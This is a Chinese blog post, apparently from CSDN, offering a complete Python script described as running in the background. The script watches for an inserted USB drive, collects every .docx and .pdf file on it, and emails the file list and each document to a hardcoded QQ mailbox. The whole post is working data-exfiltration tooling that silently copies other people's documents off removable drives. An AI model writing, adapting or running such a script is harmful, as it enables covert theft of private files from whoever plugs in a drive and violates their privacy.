python实现后台运行获取U盘资料目录信息,邮箱发送文件

import os
import time
import psutil
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import io
from email.header import Header


def check_usb_inserted():
    # 获取所有磁盘的挂载路径
    partitions = psutil.disk_partitions()

    # 检查是否有U盘挂载(通常U盘会显示为 "removable" 类型)
    for partition in partitions:
        if 'removable' in partition.opts:
            return partition.mountpoint  # 返回U盘挂载点
    return None  # 如果没有找到U盘


def list_files_in_directory(directory):
    # 列出U盘中的所有 .docx 和 .pdf 文件
    doc_pdf_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            if file_name.endswith(('.docx', '.pdf')):
                doc_pdf_files.append(os.path.join(root, file_name))
    return doc_pdf_files


def write_filenames_to_text_file(files, filename):
    # 将文件名称写入文本文件
    with open(filename, 'w', encoding='utf-8') as f:
        for file in files:
            f.write(file + '\n')


def send_email_with_attachment(sender_email, sender_password, receiver_email, subject, body, attachment_content, attachment_filename):
    # 创建MIME对象
    msg = MIMEMultipart()
    msg['From'] = sender_email
    msg['To'] = receiver_email
    msg['Subject'] = subject

    # 添加邮件正文
    msg.attach(MIMEText(body, 'plain'))

    # 根据文件类型设置 MIME 类型
    if attachment_filename.endswith('.docx'):
        attach_part = MIMEBase('application', 'vnd.openxmlformats-officedocument.wordprocessingml.document')
    elif attachment_filename.endswith('.pdf'):
        attach_part = MIMEBase('application', 'pdf')
    else:
        attach_part = MIMEBase('application', 'octet-stream')

    attach_part.set_payload(attachment_content)
    encoders.encode_base64(attach_part)

    # 使用 Header 编码附件文件名
    attachment_filename_encoded = Header(attachment_filename, 'utf-8').encode()
    attach_part.add_header('Content-Disposition', f'attachment; filename="{attachment_filename_encoded}"')
    attach_part.add_header('Content-Type', 'application/octet-stream')
    msg.attach(attach_part)

    try:
        # 连接到QQ的SMTP服务器
        with smtplib.SMTP_SSL('smtp.qq.com', 465) as server:
            server.login(sender_email, sender_password)
            server.sendmail(sender_email, receiver_email, msg.as_string())
        print(f"邮件已发送至 {receiver_email}")
    except Exception as e:
        print(f"发送邮件时发生错误: {e}")


def main():
    print("正在监测U盘插入情况...")

    while True:
        usb_mount_point = check_usb_inserted()

        if usb_mount_point:
            print(f"检测到U盘插入,路径为: {usb_mount_point}")

            # 获取U盘中所有的 .docx 和 .pdf 文件
            doc_pdf_files = list_files_in_directory(usb_mount_point)
            print(f"U盘中的文档文件已获取,文件数量: {len(doc_pdf_files)}")

            # 设置邮箱相关信息
            sender_email = '????@qq.com'
            sender_password = '???'
            receiver_email = '???@qq.com'

            # 将文件名写入文本文件
            filenames_txt = 'filenames.txt'
            write_filenames_to_text_file([os.path.basename(file) for file in doc_pdf_files], filenames_txt)

            # 首先发送包含文件名的文本文件
            with open(filenames_txt, 'rb') as file:
                file_content = file.read()
            subject = 'U盘文档文件列表'
            body = '这是U盘中所有文档的文件名列表。'
            send_email_with_attachment(sender_email, sender_password, receiver_email, subject, body, file_content, filenames_txt)

            # 遍历文件并逐个发送
            for file_path in doc_pdf_files:
                with open(file_path, 'rb') as file:
                    file_content = file.read()

                file_name = os.path.basename(file_path)
                subject = f"U盘文档: {file_name}"
                body = f"这是来自U盘的文档:{file_name}"

                send_email_with_attachment(sender_email, sender_password, receiver_email, subject, body, file_content, file_name)
                time.sleep(2)  # 防止发送过快

            break  # 只执行一次,退出循环
        else:
            print("未检测到U盘,等待插入...")

        time.sleep(2)  # 每隔2秒检测一次


if __name__ == '__main__':
    main()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值